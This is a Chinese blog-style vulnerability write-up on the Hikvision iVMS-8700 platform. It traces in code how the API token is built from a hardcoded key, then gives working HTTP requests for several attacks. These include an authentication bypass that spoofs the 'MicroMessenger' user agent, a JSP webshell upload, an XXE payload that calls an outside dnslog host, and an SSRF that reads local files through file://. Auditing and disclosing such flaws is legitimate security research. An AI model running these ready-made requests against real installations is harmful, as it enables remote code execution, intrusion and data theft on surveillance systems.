前言

群里有个师傅在问iVMS-8700综合安防管理平台软件的指纹信息，并且还说只是访问一下/eps/api/resourceOperations/upload，很明显，这里有个上传。本来18号就想着写出来的，才打完攻防，累，也就拖到了今天才写。

测试

简单的复现

最开始访问该接口的时候，会提示token empty

添加token后，会提示token invalid

有点意思。

于是找该师傅白嫖了poc。

此时也就知道了该token的生成规则。即当你访问http://x.x.x.x/eps/api/resourceOperations/upload时，token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")，生成的hash值，字母要转大写。

代码审计

此时就有点好奇，为什么要对http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding进行md5加密，为什么直接访问http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding是404，这些都是我的疑问。

上传分析

首先这里要分析的应用是eps，即eps.war文件

通过之前编写的一个获取spring所有controller的脚本，知道了该controller对应的类com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction

此时发现，具体上传功能是在this.resourceOperationService.uploadResourceOperation这里实现，即ResourceOperationService类下的uploadResourceOperation方法。

在uploadResourceOperation方法里，先调用了FileUtils里的uploadFile方法。

在uploadFile里，获取文件后缀后(fileSuffix)，该后缀与uuid直接拼接。

tmpPath的值是/upload/{uuid}.jsp

最后通过MultipartFile里的transferTo方法将该文件成功传到服务器上

回到ResourceOperationService类下的uploadResourceOperation方法中，此时页面回显resourceUuid的值时，也就是保存在服务器上的文件名。

数据包

POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 161

------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

webshell
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

此时发现在上传过程中，没有token的参与，因此也就可能是拦截器Interceptor或者过滤器Filter在起作用

分析拦截器和过滤器

拦截器

在web.xml中

springmvc处理的路由有两种情况，分别是以/api/为开始或者是以.action为结束。这两种都被org.springframework.web.servlet.DispatcherServlet来处理，此处是有springmvc的配置文件springmvc-servlet.xml，也就点进去看看。

在springmvc-servlet.xml中，有三个拦截器，com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor、com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor和com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor，很明显，第一个拦截器是最有可能存在token相关规则的（因为此处存在权限认证的key，即secretKeyIbuilding）

该拦截器的具体代码如下

先判断HttpRequestUtils.requestUriStartWithApi(request)或HttpRequestUtils.requestUriEndWithService(request)的值是否为true。由于这里分析的是/api/resourceOperations/upload，因此是true，进入if逻辑。

判断this.mustAuthPermission()的值是否是true，由于authPermission的默认值是1，即"1".equals(this.getAuthPermission())是true，因此this.mustAuthPermission()是true

然后获取token参数的值，判断该值和MD5Util.md5(targetUrl + this.secretKey)的值是否相等。即MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

因此我们传入的token值是MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")

最后该拦截器的返回值是true（最后一个if逻辑不影响返回值，且只和页面回显的数据格式有关，也就不分析），也就成功的绕过了token的限制。

过滤器

可以看见，该过滤器没啥好分析的。

不需要token上传（也需要伪造参数）

通过上面分析可知，springmvc是可以处理.action的路由的，并且HttpServiceRequestInterceptor拦截器是只对/api/有效的。

.action的过滤器在web.xml里面声明了，是由CASFilter来处理，即com.hikvision.cms.common.web.cas.ExtAuthenticationFilter

此时应关注HttpRequestUtils.requestComeFromWeChatClient(request)的逻辑值。

此时可以看见，当请求头中的user-agent=MicroMessenger时，即可走filterChain.doFilter(servletRequest, servletResponse);的逻辑，也就能够正常上传了。

不加user-agent=MicroMessenger时，可以看见会被重定向。

添加user-agent=MicroMessenger时，上传成功

最后的数据包

POST /eps/resourceOperations/upload.action HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
user-agent: MicroMessenger
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 163

------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"

111
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--

其他漏洞??

其他漏洞倒是没怎么看，就发现了一个XXE和SSRF。也就没深入了，不过也都是垃圾洞了。

XXE审计

漏洞点：com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction

非常经典的XXE漏洞模板代码，可惜只能打个dnslog。

POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 471

deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E

(注：dnslog日志是18号的，截图也是18号的)

SSRF审计

漏洞点：com.hikvision.cms.eps.biz.trigger.action.TriggerAction

没啥好分析的，一眼看出

1	/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1

直接通过file协议读取文件

也能修改成其他协议，比如ftp、http、https、jar、mailto、netdoc和gopher，但gopher默认是禁用的，这部分的逻辑可以在rt.jar中审计，也没啥好说的，因为之前也分析过。

总结

分析完了后，感觉漏洞也没啥，也就是基础洞，正常分析就能找到。